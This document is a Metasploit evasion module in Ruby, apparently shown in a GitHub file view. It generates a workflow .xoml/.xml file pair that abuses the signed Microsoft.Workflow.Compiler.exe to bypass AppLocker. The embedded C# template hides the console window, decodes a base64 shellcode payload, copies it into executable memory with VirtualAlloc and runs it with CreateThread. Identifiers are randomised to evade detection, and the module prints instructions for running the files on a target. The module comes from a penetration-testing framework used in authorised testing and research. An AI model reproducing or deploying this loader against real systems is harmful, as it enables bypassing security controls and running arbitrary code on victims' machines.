metasploit-framework/modules/evasion/windows/applocker_evasion_workflow_...

160 lines
7.8 KiB
Ruby

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Evasion
def initialize(info = {})
super(update_info(info,
'Name' => 'Applocker Evasion - Microsoft Workflow Compiler',
'Description' => %(
This module will assist you in evading Microsoft
Windows Applocker and Software Restriction Policies.
This technique utilises the Microsoft signed binaries
Microsoft.Workflow.Compiler.exe to execute user supplied code.
),
'Author' =>
[
'Nick Tyrer <@NickTyrer>', # module development
'Matt Graeber' # workflow_compiler bypass research
],
'License' => 'MSF_LICENSE',
'Platform' => 'win',
'Arch' => [ARCH_X86, ARCH_X64],
'Targets' => [['Microsoft Windows', {}]],
'References' => [['URL', 'https://posts.specterops.io/arbitrary-unsigned-code-execution-vector-in-microsoft-workflow-compiler-exe-3d9294bc5efb']])
)
register_options(
[
OptString.new('XOML_FILE', [true, 'Filename for the .xoml file (default: workflow.xoml)', 'workflow.xoml']),
OptString.new('XML_FILE', [true, 'Filename for the .xml file (default: workflow.xml)', 'workflow.xml'])
]
)
deregister_options('FILENAME')
end
def build_payload
Rex::Text.encode_base64(payload.encoded)
end
def obfu
Rex::Text.rand_text_alpha 8
end
def workflow_xoml
esc = build_payload
mod = [obfu, obfu, obfu, obfu, obfu, obfu, obfu, obfu, obfu, obfu, obfu, obfu, obfu]
<<~HEREDOC
<SequentialWorkflowActivity x:Class="#{mod[0]}" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml" xmlns="http://schemas.microsoft.com/winfx/2006/xaml/workflow">
<x:Code><![CDATA[
public class #{mod[1]} : SequentialWorkflowActivity
{
public #{mod[1]}()
{
#{mod[2]}();
}
public static void #{mod[2]}()
{
IntPtr #{mod[3]};
#{mod[3]} = GetConsoleWindow();
ShowWindow(#{mod[3]}, #{mod[4]});
string #{mod[5]} = "#{esc}";
byte[] #{mod[6]} = Convert.FromBase64String(#{mod[5]});
byte[] #{mod[7]} = #{mod[6]};
IntPtr #{mod[8]} = VirtualAlloc(IntPtr.Zero, (UIntPtr)#{mod[7]}.Length, #{mod[12]}, #{mod[9]});
System.Runtime.InteropServices.Marshal.Copy(#{mod[7]}, 0, #{mod[8]}, #{mod[7]}.Length);
IntPtr #{mod[10]} = IntPtr.Zero;
WaitForSingleObject(CreateThread(#{mod[10]}, UIntPtr.Zero, #{mod[8]}, #{mod[10]}, 0, ref #{mod[10]}), #{mod[11]});
}
private static Int32 #{mod[12]}=0x1000;
private static IntPtr #{mod[9]}=(IntPtr)0x40;
private static UInt32 #{mod[11]} = 0xFFFFFFFF;
[System.Runtime.InteropServices.DllImport("kernel32")]
private static extern IntPtr VirtualAlloc(IntPtr a, UIntPtr s, Int32 t, IntPtr p);
[System.Runtime.InteropServices.DllImport("kernel32")]
private static extern IntPtr CreateThread(IntPtr att, UIntPtr st, IntPtr sa, IntPtr p, Int32 c, ref IntPtr #{mod[10]});
[System.Runtime.InteropServices.DllImport("kernel32")]
private static extern UInt32 WaitForSingleObject(IntPtr h, UInt32 ms);
[System.Runtime.InteropServices.DllImport("user32.dll")]
static extern bool ShowWindow(IntPtr #{mod[3]}, int nCmdShow);
[System.Runtime.InteropServices.DllImport("Kernel32")]
private static extern IntPtr GetConsoleWindow();
const int #{mod[4]} = 0;
}
]]></x:Code>
</SequentialWorkflowActivity>
HEREDOC
end
def workflow_xml
<<~HEREDOC
<?xml version="1.0" encoding="utf-8"?>
<CompilerInput xmlns:i="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://schemas.datacontract.org/2004/07/Microsoft.Workflow.Compiler">
<files xmlns:d2p1="http://schemas.microsoft.com/2003/10/Serialization/Arrays">
<d2p1:string>#{datastore['XOML_FILE']}</d2p1:string>
</files>
<parameters xmlns:d2p1="http://schemas.datacontract.org/2004/07/System.Workflow.ComponentModel.Compiler">
<assemblyNames xmlns:d3p1="http://schemas.microsoft.com/2003/10/Serialization/Arrays" xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler" />
<compilerOptions i:nil="true" xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler" />
<coreAssemblyFileName xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler"></coreAssemblyFileName>
<embeddedResources xmlns:d3p1="http://schemas.microsoft.com/2003/10/Serialization/Arrays" xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler" />
<evidence xmlns:d3p1="http://schemas.datacontract.org/2004/07/System.Security.Policy" i:nil="true" xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler" />
<generateExecutable xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler">false</generateExecutable>
<generateInMemory xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler">true</generateInMemory>
<includeDebugInformation xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler">false</includeDebugInformation>
<linkedResources xmlns:d3p1="http://schemas.microsoft.com/2003/10/Serialization/Arrays" xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler" />
<mainClass i:nil="true" xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler" />
<outputName xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler"></outputName>
<tempFiles i:nil="true" xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler" />
<treatWarningsAsErrors xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler">false</treatWarningsAsErrors>
<warningLevel xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler">-1</warningLevel>
<win32Resource i:nil="true" xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler" />
<d2p1:checkTypes>false</d2p1:checkTypes>
<d2p1:compileWithNoCode>false</d2p1:compileWithNoCode>
<d2p1:compilerOptions i:nil="true" />
<d2p1:generateCCU>false</d2p1:generateCCU>
<d2p1:languageToUse>CSharp</d2p1:languageToUse>
<d2p1:libraryPaths xmlns:d3p1="http://schemas.microsoft.com/2003/10/Serialization/Arrays" i:nil="true" />
<d2p1:localAssembly xmlns:d3p1="http://schemas.datacontract.org/2004/07/System.Reflection" i:nil="true" />
<d2p1:mtInfo i:nil="true" />
<d2p1:userCodeCCUs xmlns:d3p1="http://schemas.datacontract.org/2004/07/System.CodeDom" i:nil="true" />
</parameters>
</CompilerInput>
HEREDOC
end
def file_format_filename(name = '')
name.empty? ? @fname : @fname = name
end
def create_files
f1 = datastore['XOML_FILE'].empty? ? 'workflow.xoml' : datastore['XOML_FILE']
f1 << '.xoml' unless f1.downcase.end_with?('.xoml')
f2 = datastore['XML_FILE'].empty? ? 'workflow.xml' : datastore['XML_FILE']
f2 << '.xml' unless f2.downcase.end_with?('.xml')
xoml_file = workflow_xoml
xml_file = workflow_xml
file_format_filename(f1)
file_create(xoml_file)
file_format_filename(f2)
file_create(xml_file)
end
def instructions
print_status "Copy #{datastore['XOML_FILE']} and #{datastore['XML_FILE']} to the target"
if payload.arch.first == ARCH_X86
print_status "Execute using: C:\\Windows\\Microsoft.Net\\Framework\\[.NET Version]\\Microsoft.Workflow.Compiler.exe #{datastore['XML_FILE']} #{Rex::Text.rand_text_alpha 3}"
else
print_status "Execute using: C:\\Windows\\Microsoft.Net\\Framework64\\[.NET Version]\\Microsoft.Workflow.Compiler.exe #{datastore['XML_FILE']} #{Rex::Text.rand_text_alpha 3}"
end
end
def run
create_files
instructions
end
end